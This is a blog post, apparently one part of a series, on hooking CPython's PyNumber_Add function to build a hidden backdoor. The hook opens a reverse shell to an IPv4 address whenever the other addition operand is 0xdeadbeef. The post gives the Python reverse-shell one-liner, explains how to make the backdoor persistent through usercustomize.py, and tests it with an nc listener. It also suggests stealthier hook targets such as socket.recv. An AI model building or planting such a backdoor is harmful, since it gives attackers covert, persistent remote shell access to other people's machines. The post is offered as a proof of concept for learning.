We’re back with another part of the series!
In the Previous Part, we’ve hooked PyNumber_Add
function using ctypes
and replaced it with our own implementation.
In this part, we will extend our extension to a backdoor that will return a reverse shell given specific addition operands.
To the drawing board!
The Plan
- Just like in the previous part, we will hook the
PyNumber_Add
function - Our code will check if one of the operands is
0xdeadbeef
. - If so, it will extract the other operand and use it as an IPv4 address
- It will then connect to the address on port 1337 and spawn a reverse shell
Adding our trigger
In our previous implementation, after checking that both operands are integers, we added a check to see if they are both equal to 2
.
We will replace this check with a check to see if one of the operands is 0xdeadbeef
, and if so, we will extract the other operand and use it as an IPv4 address.
1 | unsigned int ipNum = 0; |
IP Extraction and Reverse shell
Since we have access to the Python C API, we have the freedom to run any Python code we want!
We will use the os
, socket
and subprocess
modules to spawn a reverse shell. To avoid string formatting in C, we will use strcat
to concatenate the strings. The IP address is extracted one byte at a time, using bit shifting and masking with 0xff
to get the lowest byte each time.
The reverse shell itself is a Python one-liner that uses os.dup2
to duplicate the socket file descriptor to the standard input, output and error, and then uses subprocess.call
to spawn a shell.
1 | char revShell[4096] = "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""; |
And violà! We now have a backdoor that will spawn a reverse shell when the operands are 0xdeadbeef
and an IPv4 address.
Putting it all together
1 |
|
Persistence
Python looks for a startup script in the site-packages/usercustomize.py
file, so we can drop our script from the Previous Part there and it will be loaded automatically. Don’t forget to edit the Python script and change the path to my_add.so
to the correct path on your machine.
1 | # Compile our backdoor module |
Now, let’s test our backdoor!
Testing
We’ll listen on port 1337 using nc
.
1 | ➜ ~ nc -vvlp 1337 |
Now let’s perform a simple calculation and see what happens.
1 | ➜ ~ python3 |
So far so good, but does our backdoor work? 0x7f000001
is hex for 127.0.0.1
, so let’s try that!
1 | >>> 0xdeadbeef + 0x7f000001 |
And we get a shell! Beautiful!
1 | Connection received on localhost 34998 |
Notes and Caveats
This is a proof of concept, and is not meant to be used in production (whatever “production” means for a backdoor, lol).
Here are some of the things that could go wrong with this implementation:
- I’m pretty sure the current implementation breaks a lot of things, such as the
+
operator for other types, but I haven’t tested it extensively - Thread safety is not guaranteed
- The
mprotect
call won’t work on platforms withW^X
memory protection mprotect
won’t work on Windows- The shellcode trampoline won’t work on platforms other than x86_64
- The inline hook is implemented in a very naive way, and overwrites the original function code of
PyNumber_Add
. A better way to implement the inline hook would be to use a trampoline, and jump to the original function code after we’re done. This requires us to allocate a page of executable memory, and copy the original function code there, and then jump to it - Alternatively, we can use a hooking library such as subhook
- The reverse shell doesn’t fork a child process, so the Python process will get stuck until the reverse shell exits, and
stdin
/stdout
/stderr
won’t get redirected back to the user
Improvements and features that can be added:
- We can use
mmap()
to get a page of executable memory and load shellcode from memory, instead of usingCDLL
to load a shared library from disk - The backdoor components and it’s communication are not encrypted or obfuscated in any way
- A Python shell would be nice, instead of relying on
/bin/bash
- As an attacker, there are better hook targets than
PyNumber_Add
, such assocket.recv()
, which is guaranteed to be called with user input in a lot of places - Another option is string formatting functions, which are also used everywhere and likely to be called with user input (thanks to @HarpazDor for the suggestion!)
This was a really fun way to spend a weekend!
I hope you enjoyed reading this series as much as I enjoyed writing it, and maybe even learned something new along the way.
Ciao for now!